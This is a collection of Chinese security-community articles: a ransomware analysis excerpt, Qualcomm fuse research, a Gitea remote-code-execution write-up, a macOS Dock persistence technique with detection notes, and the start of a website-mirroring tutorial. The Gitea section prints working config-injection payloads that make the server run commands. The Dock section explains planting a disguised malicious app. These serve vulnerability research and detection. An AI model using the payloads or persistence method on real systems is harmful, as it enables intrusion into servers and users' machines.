密钥是通过文件名(UNICODE)的MD5生成的，以下是它的生成过程：
图16 解密密钥生成
最后将解密之后的数据进行Zlib解压缩,得到勒索者本体：
图17 解密得到的PE数据
**3.4 执行勒索者**
创建傀儡进程执行勒索者，宿主是安装包进程：
图18 创建傀儡进程
**0x04 勒索者本体**
**4.1 利用AES256解密出API名称,然后调用LoadLibrary和GetProcAddress动态获取API地址：**
图19 解密API名称
**4.2 获取当前计算机名+处理器核数+系统所在卷序列号+系统版本并计算其MD5作为计算机特征码，并保存在注册表的xi值中。**
图20 计算机特征码生成算法
**4.3 拷贝自身到C:Documents and SettingsAll UsersApplication
DataWindowscsrss.exe位置，并添加注册表自启：**
图21 拷贝自身
图22 添加启动项
**4.4 通过Tor网络匿名与服务器进行通讯：**
图23 与服务器通讯
**4.5 生成的公钥及其相关的配置信息保存在注册表。**
注册表的数值如下：
图24 注册表保存重要数据
**4.6 加密以下后缀名的文件。**
木马会对以下类型的文件进行加密：
图25加密的后缀名
不对系统关键文件加密，从而保证系统的正常启动：
图26忽略加密的文件
**4.7 AES256加密密钥生成算法**
初始化随机种子srand(_time64+当前线程ID+clock)，随机生成两个256位的密钥，用于文件名和文件内容加密。
图27用于AES256加密的生成算法
**4.8 文件名加密算法**
对原始文件名（UNICODE）进行AES256加密再通过Base64加密，得到加密文件名第一部分：
Ciphertext_1=Base64(AES256_Encrypt(UNICODE (Original_FileName)))
再通过计算机特征码前0x14字节转换为UNICODE得到第二部分:
Ciphertext_2= UNICODE(ComputeCode(0x14) )
最后的加密文件名就是第一部分加上第二部分加上”.da_vinci_code”
Encrypt_ FileName= Ciphertext_1+ Ciphertext_2+”.da_vinci_code”
图28文件名加密生成算法
图29 加密前的文件名
图30 加密后的文件名
**4.9 文件加密算法**
程序将生成的两个密钥和其他关键数据以RSA加密的方式保存在加密文件的前0x180字节中。
加密文件内容的过程如下：
图31 文件数据加密算法
图32 文件数据加密过程图示
图33 密钥相关的数据块KeyData在内存中的布局
**4.10 删除卷影**
图34删除文件卷影
**0x05 解密过程**
当勒索者收到赎金后，会提供给受害者RSA的私钥，通过这个私钥可以解密文件前0x180字节数据块，分别拿到文件名的解密密钥和文件内容的解密密钥。
从而继续解密得到文件名和文件内容，再将文件尾部的0x180字节覆盖文件开头的解密块数据，这样就完成对一个文件的解密。
**0x06 查杀情况以及如何防范**
提醒广大网友：重要数据应定期备份，软件的漏洞补丁应及时安装，可以免疫绝大多数来自恶意网页或客户端的挂马攻击。此外，他人发来的可疑程序或脚本（如exe、scr、js等）不要双击运行，这样就能最大限度的避免中招。同时360白名单分析组会通过已有的样本收集系统，第一时间查杀该木马变种。当前360安全卫士可以全面拦截此类敲诈者病毒，最新版本11.0中的“反勒索服务”还能为受害用户提供一站式的代缴赎金及文件解密服务，全面保障用户财产和数据的安全。
图35 2016年11月14号达芬奇密码敲诈者的查杀情况 | 社区文章 |
# 独角兽暑期训练营系列 | 高通芯片安全相关熔丝设定及检测方法研究
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 本研究由独角兽安全夏令营第二届成员谢意同学完成
## 独角兽暑期训练营
360无线电安全研究院每年暑假都会面向在校学生举办一次暑期训练营，[申请者投递简历并提交自己想做的课题介绍后](https://www.anquanke.com/post/id/108130)，若入选，会在360技术专家的指导下完成课题。
本系列文章会发布今年5位学员在训练营中的成果。文章相关代码后续会在训练营[github代码仓库](https://github.com/UnicornTeam/summer-camp)发布 。
## 引言
随着移动通信网络的发展和智能手机的普及，手机逐渐取代PC成为人们日常计算和通信的主要工具，从早期的GSM网络开始，就出现了一些针对手机或者是通信网络的安全研究及实际攻击案例。近几年来，随着移动支付的发展和普及，方便别人的生活的同时，也催生了更多的网络犯罪。智能手机与个人财产相关性越来越高，促使手机安全愈发重要。而本篇文章从手机芯片的角度，以熔丝机制作为切入点，从一个全新的视角来对手机安全机制进行剖析和研究。
## 研究准备
### 研究对象的选取
实际上目前手机的芯片厂商有很多，例如苹果、高通、联发科等等，为了让我们的研究成果适用于更多的设备，我们查找了关于各个品牌份额的相关资料。根据[Counterpoint公司的调查报告](https://www.counterpointresearch.com/global-smartphone-soc-market-crossed-us8-billion-q3-2017-third-quarter-record/)来看，各个品牌在2016——2017的市场份额趋于稳定，高通一直以份额第一的地位遥遥领先于其他品牌，份额甚至是第二名Apple的两倍，并且其市场份额还有继续上升的趋势，因此本次研究我把高通作为研究对象。
### 熔丝的概念
我们本次研究的重点是熔丝，那么我们首先得弄明白熔丝是什么。
如果单从硬件角度来看，熔丝类似于一个可编程存储器。我们把想要存储的数据烧录进去并熔断之后，这块区域所存储的信息就没法再被更改，想要改变信息的话只有更换芯片。
我们这次主要从软件如何使用熔丝的角度来分析熔丝。由于熔丝的一次性可编程特性，它常常被用来存储一些重要的安全相关的信息，以达到防止这些信息被恶意篡改的目的。例如手机Secure
Boot中根证书的Hash值就会存储在熔丝中，防止证书被替换，后面我会对这个部分进行详细的说明。
## 研究思路
既然手机的Secure Boot利用到了熔丝机制来保证证书不被替换，那么我们不妨从Secure
Boot入手，看看它如何使用熔丝机制，这有利于我们对于熔丝的进一步了解。
### Secure Boot的概念
Secure
Boot可以理解成为一个队列，队列中是系统的执行程序，这个队列我们称之为安全启动队列。在这个队列中，程序按照次序启动，前一个启动的程序负责下一个程序的验证以及启动。若当前程序对下一个将要启动的程序验证通过，说明下一个程序是合法程序，启动执行；若当前程序对下一个将要启动的程序验证不通过，则说明这个程序在当前程序看来不是合法程序，拒绝启动，则系统启动失败。很多PC、手机系统都采用这种机制来避免恶意软件被加载运行。
在这个安卓系统的Secure Boot机制中，前一个阶段的引导程序利用相应的证书验证后一阶段程序的签名。
那么我们会发现这样一个问题：既然系统利用证书的方式来对程序的合法性进行验证，并且程序是以队列的形式启动的，那么队列中的第一个程序应该如何验证？这就用到了熔丝机制。
简单来说，我们把整个验证链的第一个证书称为根证书，根证书是验证其他证书的基础。为了保证根证书的有效，系统利用熔丝机制将根证书的hash值存储到fuse中。在芯片通电之后，主引导程序(PBL)首先会验证这个根证书的hash值与熔丝中存储的是否一致，若一致则继续后面的启动过程，若不一致则启动失败。由于PBL本身也是在芯片制造时固化到芯片中，所以在这个阶段，PBL和根证书的Hash都不能再改变，由此保证了Secure
Boot不被绕过。Secure Boot的启动过程可以用下面这张图来表示。
### 高通平台的相关机制
在理解Secure Boot机制的基础上，我们具体看一看高通平台的相关实现。
**Elf与证书链**
下图是高通平台的一种二进制文件的格式，可以把它看做elf格式。但是需要注意的是和普通的Elf文件不同，高通只是借用了Elf格式作为其modem，wifi，trustzone，GPU固件的组织形式。我们主要关注的是这个文件中的Hash
Table Segment模块。
这个模块包含了整个Elf文件各个部分的Hash值以及签名、证书链等等。高通的签名技术似乎与其他的不同，它不是直接对整个模块进行签名，而是先对header、segment等各个部分分别进行hash，这些hash的集合就存放在Hash
Table
Segment中，签名的时候直接对整个Hash的集合进行签名，就像下图展示的一样。图片中右下角就是刚刚提到的证书链，从根证书开始，一层一层地验证，最后对这个Elf文件的签名进行验证。
下面这张图更详细地说明了整个证书链的工作原理。先用私钥对程序进行签名，验证的时候利用证书中的公钥对文件签名进行验证。
**证书锚**
就像前面提到的那样，证书链的信任根是根证书，而根证书的hash值存放在fuse中，我们称之为证书锚。有了证书锚，整个证书链才是有效可信任的。那么Hash值等信息如何烧录到熔丝中呢？
**sec分区**
在高通平台的存储器中，熔丝烧结信息存储于sec分区。系统第一次启动时，会检测是否存在sec分区，若存在则读取sec分区中的信息并进行熔丝的烧录。也就是说如果我们能读取sec分区中的相关信息，就可以知道熔丝中的相关安全性配置和信息，这样就实现了本次研究的目标。
那么，我们现在主要的问题就变成了如何有效地正确解析sec分区的信息。
**sec分区提取**
将手机连接ubuntu之后，利用adb连接手机，在手机端授权成功之后利用命令列出各分区的信息ls -la
/dev/block/platfrom/soc/624000.ufshc/by-name。可以得到
lrwxrwxrwx 1 root root 15 1970-01-07 02:13 sec -> /dev/block/sdd4
我们使用dd命令将其拷贝出来，命名为sec.dat
dd if=/dev/block/sdd4 of=/sdcard/sec.dat
这样我们就获得了sec.dat文件，下面，我们的目标是对其进行解析。
## 研究进展
### sec.dat文件的解析
我们直接打开sec.dat文件（如下图），除了第二行能读到一串字符，显然无法获取其他有效的信息。我猜想sec.dat采用了某种特定的格式对信息进行了打包。
直接漫无目的的猜解显然是低效的，在github上我们找到了某款高通芯片的部分源码，或许这其中就包含了sec.dat文件相关的代码。我们对这个部分进行初步的分析之后，找到了commom、tools目录下的sectools文件夹。这个文件夹就包含了sec.dat文件的生成模块，整个文件夹是由一堆python文件构成的一个工具集，入口文件是sectools.py。
我们尝试直接寻找sec.dat文件格式规定的相关源码。直接根据其中规定的格式来解析sec.dat文件。但是在我使用tree命令尝试查看整个目录结构的时候，我放弃了这个想法。
从上图可以看到，sectools文件夹下面有123个子目录，一共包含1043个文件，显然盲目地寻找关于sec.dat文件格式的源码是很困难的。我们不妨换一种思路。
我们可以以sectools.py这个入口文件开始，模拟整个程序从解析命令行参数开始，直到调用相关模块，最后生成sec.dat文件的过程，人工模拟执行程序语句，直到找到格式相关的部分。这种方法虽然也很费时费力，但是显然比刚刚的思路快很多。由于整个分析的过程很复杂，我们在这里只列举出几个重要的跳转的地方，具体的语法逻辑留给大家自行梳理。
首先打开入口文件sectools.py，如上图。直接跳转到执行的函数，找到其中的for循环语句，这里遍历的FEATURES_LIST就是整个工具支持的工具列表，我们跳转到其定义处。
可以看到整个工具目前分为五个模块，我们需要的熔丝模块为fuseblower，从fbc文件夹导入，我们打开相应的文件。
如上图，打开之后，我们发现相关的执行模块FuseBlowerCore又是从其他文件导入，我们再次跳转。
如上图，找到相应的类，发现这个类中定义的四个函数显然与sec.dat文件的生成没有直接的关系，因此我们有理由相信我们要找的函数是在这个类继承的父类（FuseCommonCore）中定义的。
我们跳转到上图中父类的定义处，果然在父类中找到generate()这个函数，如下图。这个函数中调用了secdat_pg()这个函数，再次跳转。
找到secdat_pg函数的定义处，发现这个类中的set_data函数，跳转到ParseGenSecdat定义处。
跳转到format目录之后，尝试运行tree命令。可以看到目录和文件数已经大大减少，并且经过分析可以知道这些源码按照目录名称，分别对应了sec.dat文件的不同部分的生成格式。
分析的结果如下图，整个sec.dat文件大致分为三个部分，header、segment以及footre，其中segment部分分为几个小部分，包括fuse
header和若干个fuse entry。
此外，高通把所有的字符信息，按照不同类型的格式通过struct库中的pack()函数打包成二进制格式，右边是不同的数据类型相应的格式化字符串表格，供大家参考。那么显然，我们应该利用unpack()函数并借助相应的格式化字符串对各部分的内容进行反向解析。
由于sec.dat文件的footer部分实际上就是一个固定长度的hash值。他是通过对header部分和segment部分整体做了一个hash（SHA-256算法）。我们也尝试自行对这两个部分进行一次hash，与解析之后的footer进行比对，发现二者一模一样。说明这个熔丝文件没有被损坏。
解析完footer之后，尝试对header进行解析。header部分是固定的48字节长度。
第三部分我尝试对segment中的fuse header进行解析，这个部分实际上分为两个字部分，我们为了简洁直接统称为fuse header。
最后，对qfuse entry部分进行解析，通过源码可以知道每个fuse entry部分长度都为固定的20字节。
这样，整个解析工具就完成了，工具的源码可以在[独角兽团队github仓库夏令营页面](https://github.com/UnicornTeam/summer-camp)上找到。
### 结果的提取与汇总
工具的解析结果会输出到同目录下的txt文件中，txt格式比较方便手工查看。整个生成的过程很快，没有什么复杂的运算算法。通过解析的结果，我们可以得到熔丝中关于手机安全设置的很多有用信息，比如OEM_PK_HASH、读写权限、rollback开关等。
## 总结
### 解析工具的测试
**利用配置文件进行测试**
由于我们工具的输入是sec.dat文件，输出是txt文件，因此想要对工具进行测试，就必须找到足够多的sec.dat文件。但是要找到很多不同芯片的手机再提取出sec.dat文件显然是不现实的。由于sectools文件的工作原理是借助芯片的下图这三个配置文件来生成熔丝信息存储到sec.dat。因此我们只要有不同型号的配置文件，就可以得到相应型号的熔丝文件(sec.dat)。
经过努力，我们一共收集到了44个芯片的相关资料，但是其中15个型号缺少了三个配置文件中的某一个或几个，因此我们只能对剩下的29种芯片进行测试。
在能够得到sec.dat文件的这些型号中，测试通过率达到百分之百，这一定程度上说明了不同型号芯片的熔丝模块的格式是固定的。
**实机测试**
我们对三款手机进行了实际的测试，先提取出手机中的sec分区，再利用我们的解析工具进行解析测试，结果如下：
手机型号 | 芯片型号 | 测试结果
---|---|---
Nokia 8工程机 | MSM8998 | sec分区全为0，未启用熔丝
Google pixel | MSM8996 | 正确解析，获得相关信息
Mi 4c | MSM8992 | sec分区全为0，未启用熔丝
## 结论
通过本次研究，我们发现通过解析sec分区来获取熔丝的相关信息与安全设置是可行的，高通不同型号芯片的sec分区生成格式比较统一，可以采用相同的方法对其进行解析。有兴趣的读者可以考虑在本文的基础上实现一个内核驱动模块，模块加载后，可以提取熔丝状态，从而更便捷地获取熔丝信息。
源代码地址见独角兽团队github仓库夏令营页面：<https://github.com/UnicornTeam/summer-camp> | 社区文章 |
**作者：LoRexxar'@知道创宇404实验室**
**时间：2019年7月23日**
**英文版本：<https://paper.seebug.org/990/>**
2019年4月15号，gitea曾爆出过一个漏洞，恰逢当时对这个漏洞比较好奇就着手去研究了一下，漏洞的描述是这样的：
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3
mishandles mirror repo URL settings, leading to remote code execution.
在和朋友@hammer的一同研究下，成功控制了git config的内容，但是在从git
config到RCE的过程遇到了困难，就暂时搁置了，在过了几个月之后，偶然得到@Lz1y和@x1nGuang两位大佬的启发，成功复现了这个漏洞，下面我们就来仔细研究下这个问题。
# 分析补丁
首先根据cve的信息，确定漏洞1.7.6和1.8.0-rc3上修复
* <https://github.com/go-gitea/gitea/releases/tag/v1.7.6>
* <https://github.com/go-gitea/gitea/releases/tag/v1.8.0-rc3>
根据漏洞文件为`repo_mirror.go`这个信息锁定更新的commit，commit主要为 #6593和#6595
* <https://github.com/go-gitea/gitea/pull/6595/commits/52af826a7aa1df6ab538d881db236698cb367cd7>
根据patch可以大致锁定问题的关键点
`/models/repo_mirror.go`
当仓库为mirror仓库时，settings页面会显示关于mirror的配置
if !repo.IsMirror {
ctx.NotFound("", nil)
return
}
patch中将原来的修改配置文件中的url选项修改为NewCommand。很容易理解，将写入文件更改为执行命令，这种修复方式一定是因为写入文件存在无法修复这个问题的窘境，那么这也就说明url这里可以通过传入`%0d%0a`来换行，导致修改config中的其他配置。
# 控制 gitconfig
跟随前面的逻辑，首先我们新建一个mirror仓库。
抓包并修改`mirror_address`为相应的属性。
mirror_address=https%3A%2F%2Ftest%3A%40github.com%2FLoRexxar%2Ftest_for_gitea.git"""%0d%0a[core]%0d%0atest=/tmp%0d%0aa="""
可以传入各种配置，可以控制config文件的内容。
比较有趣的是，如果你更新同步设置时，服务端还会格式化配置。
# 进一步利用
而重要的是如何从config文件可控到下一步利用。
首先，git服务端只会保留.git里的内容，并不是完整的类似我们客户端使用的git仓库。所以很难引入外部文件。否则就可以通过设置hook目录来实现RCE，这种思路的关键点在于找到一个可控的文件写入或者文件上传。
其次，另外一种思路就是寻找一个能够执行命令的配置，并寻找一个能够触发相关配置的远程配置。
* <https://git-scm.com/docs/git-config>
# 通过写文件配合 githook path RCE
在git中，存在一个叫做Git Hook的东西，是用于在处理一些操作的时，相应的hook就会执行相应的脚本。
在web界面，只有gitea的管理员才能管理git hook，所以对于普通用户来说，我们就不能直接通过编辑git hook来修改脚本。
但我们却可以通过控制git config来修改hook存放的目录。
当我们构造发送
mirror_address=https%3A%2F%2Fgithub.com%2FLoRexxar%2Ftest_for_gitea.git"""%0d%0a[core]%0d%0ahooksPath=/tmp%0d%0aa="""
服务端的config文件变为
这样我们只要能在服务端的任意位置能够写入文件或者创建文件，我们就可以设置hookspath到那里，并触发git hook来执行命令。
在经过我们的仔细研究之后，我们发现，在漏洞存在的版本1.7.5版本以下，如果编辑服务端的文件，那么服务端的文件就会保存在gitea的运行目录下生成。
/data/tmp/local-repo/{repo_id}
而这个文件在不重启gitea的情况下不会清除，而这个repo_id可以从其他的api处挖掘到。
具体详细利用链可以看
* <https://www.jianshu.com/p/684fa071026a>
值得注意的是，这种方式需要知道服务端运行的位置，虽然我们可以认为go的路径都是比较形似的，也有部分人会在当前编译目录下执行。但可以说这种方式还是不算靠谱。
# 通过控制 git config 配置来 RCE
在@x1nGuang大佬的帮助下，我重新审视了和git config相关的一些配置。
## gitProxy
gitProxy是用来针对git协议需要fetch等操作时，需要执行的命令。是一个用来应对特殊场景的配置选项。一般是应用于，在git请求时，可能的需要使用代理应用的场景。
这里我们设置服务端
[core]
gitproxy = calc.exe
然后需要注意，同步的url必须为git开头
但问题在于，由于gitProxy在git设计中，就是执行一个代理应用，所以无论输入什么，都会被当作一个应用执行，也就没办法带参数。
这样一来，在实际的利用场景中就又受到了很大的局限，这里可以尝试用普通项目中的上传文件功能来上传一个bin，然后抓包获取文件路径，最后通过gitProxy来执行后门。
但同样的是，这种思路仍旧受限于gitea的运行目录，不过比起之前的利用方式来说，1.8.0版本也可以利用这种方式来RCE。
## sshCommand
在git的文档中，还有一个配置是sshCommand。
这是一个在git中允许通过特殊的配置，使git fetch/git push 通过ssh来连接远端的系统。在@Lz1y大佬的博客中也提到了这种利用方式。
* <https://www.lz1y.cn/2019/07/20/CVE-2019-11229-Gitea-RCE/>
我们设置sshCommand为指定的命令
mirror_address=https%3A%2F%2Ftest%3A%40github.com%2FLoRexxar%2Ftest_for_gitea.git"""%0d%0a[core]%0d%0asshCommand=calc.exe%0d%0aa="""
然后设置协议为ssh保存，并点击同步。
而与gitProxy不同的是，这里可以跟参数
&mirror_address=https%3A%2F%2Ftest%3A%40github.com%2FLoRexxar%2Ftest_for_gitea.git"""%0d%0a[core]%0d%0asshCommand="touch 2333"%0d%0aa="""
# 写在最后
这是一个很特别的关于git类平台的漏洞例子，由于我在研究git
config利用方式的时候遭遇了很多困难，导致这篇文章断断续续的复现了很久。整个漏洞利用链和git的特性都有强依赖，还算是挺有趣的体验，有机会再仔细分析一下gitea、gogs和gitlab的代码，希望也能挖一个有趣的洞...
* * * | 社区文章 |
# 利用 macOS Dock 实现运行代码的执行
|
##### 译文声明
本文是翻译文章，文章原作者 specterops，文章来源：posts.specterops.io
原文地址：<https://posts.specterops.io/are-you-docking-kidding-me-9aa79c24bdc1>
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
我最近感兴趣的一个方向是macOS的持久化（persistence）。具体地说，我一直在研究底层用户通过修改文件可以影响到用户交互的方法。常用的一种交互方法是`Dock`。
经过研究，我注意到一个控制苹果Dock可见表示的属性表文件（Plist）。这里没有什么突破性的发现，因为最终用户通过图形用户界面（GUI）经常修改这个`plist`。在检查了`plist`中的值之后，我想知道是否可以更改这些值，将一个有效的应用程序替换为一个运行恶意代码的应用程序。
这项研究的结果保存在[`PersistentJXA项目`](https://github.com/D00MFist/PersistentJXA)
的`DockPersist.js`文件中。它会实现用我们的恶意应用程序替换Safari或Chrome。我关注于Safari和Chrome是因为它们很有可能出现在用户的Dock中。但是，请注意，这个攻击适用于任何应用程序。一旦终端用户点击Safari或Chrome图标，它就会运行我们的恶意应用程序。这个持久性方法类似于Windows上的Link
（. Lnk）文件，因为Dock图标也属于应用程序的快捷方式的一种。
这个持久化方法需要将我们的恶意应用程序上传到目标程序中。我更喜欢在`Mythic`代理中使用upload函数将应用程序保存在目标上。
修改`plist`后，可以立即重新加载Dock。但是这会给用户带来一次简短的屏幕闪烁。或者您可以等到重新启动时，假的恶意应用程序才出现在Dock中，因为修改过后的`plist`文件在重新启动后仍然存在。
## 使用方法
### 设置
这种持久化方法需要将恶意应用程序上传到目标，有许多种方法可以绕过`Gatekeeper`的保护，允许我们将恶意应用程序上传到目标程序中。您可以：
1.压缩应用程序包，在一个`Mythic`代理（Apfell或Poseidon）中使用`upload`命令，然后解压缩到目的地
2.压缩应用程序包，使用`curl`下载压缩程序包，然后解压缩到目的地
3.压缩应用程序包，使用base64编码加密，再base64解码保存到目标上，然后解压缩到目的地
我在Automator中创建了一个PoC应用程序。它试图不产生任何提示的打开Safari，然后它运行我们的恶意有效载荷。
为了不引起终端用户的注意，我用Safari罗盘图标替换了默认的自动图标。当然，可以利用`Xcode`创建更复杂的应用程序。
接下来，我压缩应用程序包并将其上传。在解压缩到`/Users/Shared/`之后，我们可以在满足先决条件的情况下重点调用持久化方法。
注意:由于`plist`的二进制格式，自动实现要求伪应用程序命名为`Google
Chrome`或“Safari”，并位于`/Users/Shared/`。可以修改`Safari64`和`Chrome64`变量来改变这个位置。
### 调用的持久性
将脚本导入`Apfell`代理。
调用`DockPersist`函数。该函数接受三个参数：应用程序名称（Safari或Google Chrome）、Bundle
ID和立即重新加载Dock的配置选项。
注意:Bundle ID在`Info.plist`中。具体位置在`/usr/libexec/PlistBuddy -c 'Print
CFBundleIdentifier' ~/FakeApp/Safari.app/Contents/Info.plist`
## 检测
Crescendo是一个快速捕捉单个主机上事件的好工具，它是macOS的实时事件查看器。Crescendo的一个优秀特性是它利用了苹果的端点安全框架（ESF）。ESF是系统扩展框架的一部分，它是一个API，会监视系统事件以发现潜在的恶意活动。拿那些来自Windows端的工具来说，它是一个针对macOS的Windows有限事件跟踪器（ETW）。
使用Crescendo，我们可以很容易地查看我们创建的，持久化的文件和进程。
以下ESF事件会映射到Crescendo中：
ES_EVENT_TYPE_AUTH_EXEC = process::exec
ES_EVENT_TYPE_NOTIFY_EXIT = process::exit
ES_EVENT_TYPE_NOTIFY_CREATE = file::create
ES_EVENT_TYPE_NOTIFY_KEXTLOAD = process:kext::load
ES_EVENT_TYPE_NOTIFY_MOUNT = file::mount
ES_EVENT_TYPE_NOTIFY_UNLINK = file::unlink
ES_EVENT_TYPE_NOTIFY_RENAME = file::rename
ES_EVENT_TYPE_NOTIFY_UIPC_CONNECT = network::ipcconnect
ES_EVENT_TYPE_NOTIFY_FORK = process::fork
注意:虽然Crescendo目前没有捕获`ES_EVENT_TYPE_NOTIFY_MMAP``ES_EVENT_TYPE_NOTIFY_WRITE``ES_EVENT_TYPE_NOTIFY_EXEC`等事件，但是它捕获到了许多这个持久化方法的其他事件。对于其他事件的报道，我强烈建议使用Xorrior的[Appmon](https://bitbucket.org/xorrior/appmon/src/master/)工具。
下面的内容主要关注持久化方法的执行，实际的恶意应用程序结构将根据攻击者开发的内容而有所不同。
首先，`plutil`将`Dock plist`转换为XML语言。XML格式更容易操作。
此外，用`temp9876`文件记录进程创建。
`DockPersist.j`s在`/private/tmp/`目录下创建一个随机命名的文件。脚本修改`plist`转换出的XML文件版本号后，将其保存在这个随机文件中。在这个例子中，`temp0wsn4p`以XML格式包含了恶意的`plist`文件，因此我们用在Dock中正确加载所需的二进制格式版本覆盖了该文件。
接下来，`DockPersist.js`删除位于`~/Library/Preferences/com.apple.dock.plist`中现有的`plist`。
ESF以二进制格式保存新的恶意`plist`到 `~/Library/Preferences/com.apple.dock.plist`。
最后，由于我们在函数调用中指定了重新加载Dock，因此将调用`killall`。
## 正常执行
您可能想知道的问题是，既然我们已经知道了ESF如何捕获已知的恶意行为，那么ESF如何表示正常的执行呢？
作为常规操作的一部分，`cfprefsd` （Core Foundation Preferences
Daemon）将在`com.apple.dock.plist`上触发`file::rename`事件。当用户通过GUI手动更改Dock时，也会触发这些事件。
## 躲避检测
对手可以执行`plist`修改任务，并将修改后的plist上传到`dock
plist`，以减少攻击痕迹。但是，这仍然会导致`file::rename`事件的产生，该事件不会使用我们在标准执行中确定的`cfprefsd`进程。在`cfprefsd`进程之外修改`plist`可能是识别恶意行为的一个很好的出发点。
## 视觉效果
PoC的执行会导致在Dock中出现两个Safari实例。
第一个Safari是恶意应用程序，它位于plist的`persistent-apps`部分，第二个Safari是真正的Safari，它位于plist的`recent-apps`部分。
## 一些通过Osascript留下的攻击证据
在深入研究ESF日志之后，我注意到一些有趣的条目被写到`SQLite`数据库中。如果对手在使用`osascript`，可能会注意到`osascript`有一个缓存数据库`~/Library/Caches/com.apple.osascript/Cache.db`
在使用SQLite的DB浏览器检查这个数据库时，我注意到`cfurl_cache_response`表包含我们的`Mythic`服务器IP地址和一个简短的`GET`请求日志，该请求连接C2服务器。该缓存为调查取证人员提供了宝贵的证据。
使用`sqlite3`命令行工具也可以查看这些条目。
## 结论
这篇文章展示了一个类似于Windows上的`.
LNK`文件的持久化方法。我希望所展示的持久化IoC能够帮助开发人员对该技术进行检测。如果您遇到这个持久化方法创建的上面没有提到的任何其他IoC，请告诉我。
## 参考内容
<https://posts.specterops.io/detection-engineering-using-apples-endpoint-security-framework-affdbcb18b02>
<https://medium.com/red-teaming-with-a-blue-team-mentaility/taking-the-macos-endpoint-security-framework-for-a-quick-spin-802a462dba06>
<https://attack.mitre.org/techniques/T1547/009/>
<https://developer.apple.com/documentation/endpointsecurity?language=objc>
<https://github.com/SuprHackerSteve/Crescendo>
<https://bitbucket.org/xorrior/appmon/src/master/>
<https://sqlitebrowser.org/>
<https://eclecticlight.co/2017/07/06/sticky-preferences-why-trashing-or-editing-them-may-not-change-anything/> | 社区文章 |
## 说在前面
在业内由于某些不可抗力的因素，我们不得不去做一些麻烦的事情来备份资料。为了尽最大可能挽留那些知识，也就有了这篇文章和最后的脚本。(文章和脚本写的都异常粗糙，希望师傅们不要介意。)
关于网站复制：
网站复制，也可称为网站备份。是通过工具将网页上的内容全部保存下来。当然不仅仅只是保存了一个html页面，而是将网页源码内所包含的css、js和静态文件等全部保存，以在本地也可以完整的浏览整个网站。网络上也有一些类似的工具，但使用起来并不理想。于是我打算自己写一个Python脚本，方便个人对网站的备份，也方便一些网络资料的收集。
## 处理并保存单个页面
### 网站复制之需要保存的内容
在开始动手写代码之前，我们需要确定一下要保存下来的内容，以便后期编写脚本来处理。
暂且分为这么两个部分：
1. 网页源码(单个页面的html源码)
2. css、js与图片文件(静态文件)
css、js与图片文件的下载地址都是从网页源码中获取得到的，如图：
内容似乎不是很多，就只需要把静态文件的下载地址从网页源码中提取出来然后下载保存就行了。但是实际情况会比较麻烦，为什么呢？
下图是一个静态文件的保存过程，文件在下载保存之前还需要处理相对地址进而得到文件的下载地址以及保存到本地的路径。除此之外，还要对HTML源码中原来的相对地址进行替换，让文件内容在本地也能够正常的使用并显示。这也是保存网页相对来说复杂的地方，在获取链接之后我们来看看如何处理这个情况。
### 网站复制之链接的提取
有了一个页面的链接，就可以通过这个链接获取HTML源码进而获取各类文件的相对地址。相较于路径处理，这里的方式就简单直接很多。用beautifulsoup直接获取标签，再获取链接即可。过程如图：
通过构造一个ExtractLinks()函数来获取一个网页内所有同类标签的同种参数。可以节省一些重复的语句，方面获取到css、js、img、a标签的url地址。
这里的过滤的内容如下：
1. 去重复
2. 丢弃无效url地址如：#、javascript伪协议等
那获取了链接之后就需要对路径进行处理了。
### 网站复制之路径的处理
在网页源码当中，相对地址的形式有很多种情况。
需要正常应对的相对地址形式有多少种呢？ 用图片文件作为一个例子，简单总结了一些如下：
| 页面地址 | 源码中地址 | 下载地址
---|---|---|---
1 | <https://example.com/c/d/a.html> | None | None
2 | <https://example.com/c/d/a.html> | # | None
3 | <https://example.com/c/d/a.html> | test/a.jpg |
<https://example.com/c/d/test/a.jpg>
4 | <https://example.com/c/d/a.html> | ./test/a.jpg |
<https://example.com/c/d/test/a.jpg>
5 | <https://example.com/c/d/a.html> | ../a.jpg |
<https://example.com/c/a.jpg>
6 | <https://example.com/c/d/a.html> | //example.com/a.jpg |
<https://example.com/a.jpg>
7 | <https://example.com/c/d/a.html> | <https://example.com/a.jpg> |
<https://example.com/a.jpg>
8 | <https://example.com/c/d/a.html> | /test?id=1 |
<https://example.com/test?id=1>
9 | <https://example.com/c/d/a.html> | /./a.jpg | <https://example.com/a.jpg>
10 | <https://example.com/c/d/a.html> | data:image/png;base64,... |
data:image/png;base64,...
(在确定的形式之外又会有很多种我们不能预测的情况。对于那些不确定的地址，就直接作丢弃处理。)
从相对地址的类型也能看出来，要写处理的代码的话会有很多不同的情况，每种情况基本都需要进行单独的处理，并且其中的逻辑也是稍微有点绕。
这里我们建立一个ProcessResourcePath的函数来处理文件相对地址的关系
处理链接时需要的传入参数：
1. 页面地址：用于获取源码中的文件地址，并根据url的层级关系确定图片保存的路径。
2. 图片地址：根据页面地址与图片地址确定图片的下载地址
返回的参数：
1. 页面地址
2. 图片地址
3. 图片的下载地址
4. 替换的图片地址
5. 保存的路径
6. 图片地址的类型(方便DEBUG)
函数处理的过程如图：
函数解释：
* Md5Encrypt(): 是用作对站外文件的下载链接进行MD5加密，防止重复下载
* GetUrlPart(): 用于获取url中不同部分的值，方便对url的处理
* ProcessResourcePath(): 处理页面地址和图片地址的相对关系
URL层级关系的处理就不解释了，比较麻烦。如果有对单个过程感兴趣可以直接跟我交流喔。
通过这个函数的处理之后，保存网页时就变得非常方便。因为你只需要将css、js、图片等文件的链接提取出来进行处理，将处理完的地址进行替换即可。
### 网站复制之单个页面的处理与保存
那在保存单个页面之前，需要往前思考一点。最终的文件都是要保存到一个总文件夹里，这个文件夹的名字得提前确定。我这里想把一个网站保存到以域名为名称的文件夹中，比如
www.bilibili.com
的所有页面和资源就全部保存到www_bilibili_com的文件夹里。所以，保存单个页面所需要的参数就为页面的地址，再通过页面的地址获取域名来定义保存的文件夹。
保存的时候需要将页面html源码中的地址进行替换。
* 文件地址替换
文件和页面都直接保存下来了，该怎么让页面可以正常调用本地的js和显示本地的图片呢？我们需要做的就是将页面中的文件地址都进行替换。
配合之前的网址处理函数，将页面地址和文件地址通过ProcessResourcePath处理后得到适配本地的地址，然后进行替换即可。
* 链接地址替换
不止是css、js、图片文件需要处理好相对位置，单个页面也需要处理里面的各个链接。这样在本地就可以在各个页面正常切换。
因为在服务器上的页面是动态生成的，我们把网页保存下来后，都应该修改为.html结尾的文件，于是就有这几种情况：
